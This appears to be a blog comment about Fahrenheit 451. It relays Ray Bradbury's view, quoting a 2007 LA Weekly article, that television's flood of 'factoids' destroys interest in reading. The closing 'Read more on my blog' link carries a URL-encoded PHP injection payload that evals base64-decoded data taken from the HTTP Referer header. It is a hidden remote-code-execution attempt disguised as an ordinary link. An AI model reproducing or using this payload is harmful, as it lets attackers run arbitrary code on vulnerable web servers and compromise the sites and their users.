“Though, I personally feel that Fahrenheit 451 was inspired by the book burning by Nazis and the use of words for propaganda, Ray Bradbury has himself suggested that the book was not intended as a story about government censorship but about how television and deluge of information destroys interest in reading, particularly good literature. To quote from an article published in 2007 in LA Weekly, “Television gives you the dates of Napoleon, but not who he was,” Bradbury says, summarizing TV’s content with a single word that he spits out as an epithet: “factoids.” “Useless,” Bradbury says. “They stuff you with so much useless information, you feel full.” Bradbury sees television as “opiate of the masses”. It is also interesting to note that in an age when most American houses had “box” black-and-white televisions, Ray imagined the contemporary “walled” model that incessantly transmitting family dramas.
Read more on my blog: http://blog.felinemusings.com/2009/09/08/fahrenheit-451/%&%28%7B$%7Beval%28base64_decode%28$_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D|.+%29&%/”
